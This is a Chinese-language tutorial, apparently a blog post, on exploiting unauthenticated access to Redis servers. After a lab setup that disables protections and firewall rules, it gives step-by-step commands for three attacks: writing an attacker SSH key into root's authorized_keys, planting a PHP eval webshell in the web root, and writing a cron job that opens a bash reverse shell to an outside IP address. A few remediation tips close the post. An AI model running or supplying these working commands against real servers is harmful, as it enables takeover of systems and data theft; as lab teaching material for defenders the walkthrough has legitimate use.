redis未授权访问漏洞利用详解

  • 简介:
  • 复现
  • 环境搭建
  • 安装redis
  • 修改配置文件
  • 利用
  • 利用姿势1,redis写入ssh公钥,获取操作系统权限
  • 利用姿势2,直接向Web目录中写webshell
  • 利用姿势3,linux计划任务执行命令反弹shell:
  • 原理:
  • cron介绍
  • 示例:
  • 修复建议


简介:

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。

Redis因配置不当可以未授权访问(窃取数据、反弹shell、数据备份操作主从复制、命令执行)。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。

影响版本:

Redis 2.x,3.x,4.x,5.x

复现

环境搭建

安装redis

centos系统:

参考:https://jingyan.baidu.com/article/020278114119b71bcc9ce5bf.html

windows系统:

https://github.com/microsoftarchive/redis/releases 对应的.msi版本下载之后,傻瓜式安装即可;

kaili:

apt-get install redis-server -y

安装完毕以后:

修改配置文件

linux系统的redis.conf文件或windows系统的redis.windows.conf、redis.windows-service.conf文件

修改如下内容:

#bind 127.0.0.1  //注释这条
protected-mode no    //非保护模式
daemonize yes    //进程守护,后台运行

服务端(靶机)启动redis-server同时加载配置文件

redis-server /etc/redis.conf  
redis-cli     //测试连接本地
exit   //测试完毕后退出

如下显示已经安装成功。

redis图形化 redis图形化漏洞利用工具_Redis

Redis常用命令

set testkey "Hello World"         # 设置键testkey的值为字符串Hello World
  get testkey                       # 获取键testkey的内容
  SET score 99                      # 设置键score的值为99
  INCR score                        # 使用INCR命令将score的值增加1
  GET score                         # 获取键score的内容
  keys *                            # 列出当前数据库中所有的键
  get anotherkey                    # 获取一个不存在的键的值
  config set dir /home/test         # 设置工作目录
  config set dbfilename redis.rdb   # 设置备份文件名
  config get dir                    # 检查工作目录是否设置成功
  config get dbfilename             # 检查备份文件名是否设置成功
  save                              # 进行一次备份操作
  flushall 删除所有数据
  del key 删除键为key的数据

关闭防火墙:

临时关闭:
sudo systemctl stop firewalld
禁止开机启动
systemctl disable firewalld

服务端:

redis-server  /etc/redis.conf

redis客户端:

redis-cli  -h  10.1.8.158

在本机上测试:

redis图形化 redis图形化漏洞利用工具_安全_02


测试完以后exit,退出,另一个客户端就可以连接了。在kaili上测试:

redis图形化 redis图形化漏洞利用工具_客户端_03

不需校验直接就可以连接redis,存在Redis未授权访问漏洞。

备注:

测试的时候如果出现redis客户端一直连不上的情况,在靶机上执行了以下命令,客户端就可以连接上了。

iptables -L -nv
iptables -F

只要是linux,任何发型版本都有iptables,firewall和ufw都是调用的iptables,虽然我把firewalld关了,但是还是有iptables策略。

redis图形化 redis图形化漏洞利用工具_Redis_04

利用

利用姿势1,redis写入ssh公钥,获取操作系统权限

当redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。

在靶机中创建ssh公钥存放目录(一般是/root/.ssh)

mkdir /root/.ssh

靶机中开启redis服务

redis-server  /etc/redis.conf

在攻击机中生成ssh公钥和私钥,密码设置为空:

ssh-keygen –t rsa

进入.ssh目录,然后将生成的公钥写入 ceshi.txt 文件

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") >ceshi.txt

将保存ssh的公钥ceshi.txt写入redis

cat ceshi.txt | redis-cli -h 10.1.8.158 -x set crack

redis图形化 redis图形化漏洞利用工具_redis_05

攻击机连接 靶机Redis

redis-cli  -h  10.1.8.158

使用 CONFIG GET dir 命令得到redis备份的路径,更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)并设置上传公钥的备份文件名字为authorized_keys::

config get dir
 config set dir /root/.ssh/
 config set dbfilename "authorized_keys"
 save

redis图形化 redis图形化漏洞利用工具_客户端_06

至此成功写入ssh公钥到靶机。

然后在攻击机上使用ssh免密登录靶机:

ssh -i id_rsa root@10.1.8.158

redis图形化 redis图形化漏洞利用工具_安全_07

利用姿势2,直接向Web目录中写webshell

前提条件:

redis可以连接,且知道web目录路径。

示例
在redis客户端,连接redis服务器后,输入命令:

set x "\n\n\n<?php @eval($_POST['redis']);?>\n\n\n"
config set dir /www/admin/localhost_80/wwwroot    //根据具体的网站路径来写,我是用phpstudy搭的,所以写这个了
config set dbfilename shell.php
save

redis图形化 redis图形化漏洞利用工具_redis_08

//其中\n\n\n代表换行的意思,用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

将dir设置路径为网站根目录,dbfilename设置文件名为shell.php,再执行save或bgsave,于是就将一句话写到网站根目录下了。

使用菜刀,连接http://10.1.8.158/shell.php,密码为redis,连接成功:

redis图形化 redis图形化漏洞利用工具_安全_09

利用姿势3,linux计划任务执行命令反弹shell:

原理:

首先同样利用了redis数据库的备份功能,在我们不知道网站绝对路径的时候,可以利用linux的定时任务特性:因为Linux会监测/etc/crontab的内容,当我们将反弹shell的命令使用redis备份到/etc/crontab中,就可以获得反弹shell。

cron介绍

我们经常使用的是crontab命令是cron table的简写,它是cron的配置文件,也可以叫它作业列表,我们可以在以下文件夹内找到相关配置文件。

/var/spool/cron/ 目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名
/etc/crontab 这个文件负责调度各种管理和维护任务。
/etc/cron.d/ 这个目录用来存放任何要执行的crontab文件或脚本。
我们还可以把脚本放在/etc/cron.hourly、/etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly目录中,让它每小时/天/星期、月执行一次。
其他crontab知识可以参考:https://www.runoob.com/w3cnote/linux-crontab-tasks.html

注意:
在不同系统中,root的位置是不一样的
在kali和ubantu中,其文件位置为/var/spool/cron/crontabs/root,在centos系列中位置为/var/spool/cron/root,通常情况下没有root文件,需要自己创建。

示例:

VPS开nc监听需要反弹shell的端口:

redis图形化 redis图形化漏洞利用工具_客户端_10

客户端连接上Redis服务端以后,执行:

set xxx "\n\n* * * * * bash -i>& /dev/tcp/104.168.147.13/8888 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

//添加名为xxx的key,值为后面反弹shell的语句,5个星号代表每分钟执行一次,开始和结束的\n必须要有一个,也就是前后各有一个,当然,多个可以,主要是为了避免crontab的语法错误。

redis图形化 redis图形化漏洞利用工具_客户端_11

反弹shell命令成功写入了靶机的/var/spool/cron/root中:

redis图形化 redis图形化漏洞利用工具_redis_12

检查定时任务是否执行:

tail -10000f /var/log/cron | grep 'bash'     //后面是加关键字

redis图形化 redis图形化漏洞利用工具_安全_13


VPS成功获得反弹shell:

redis图形化 redis图形化漏洞利用工具_redis_14

修复建议

1、禁止外部访问Redis服务端口

2、禁止使用root权限启动redis服务

3、配置安全组,限制可连接Redis服务器的IP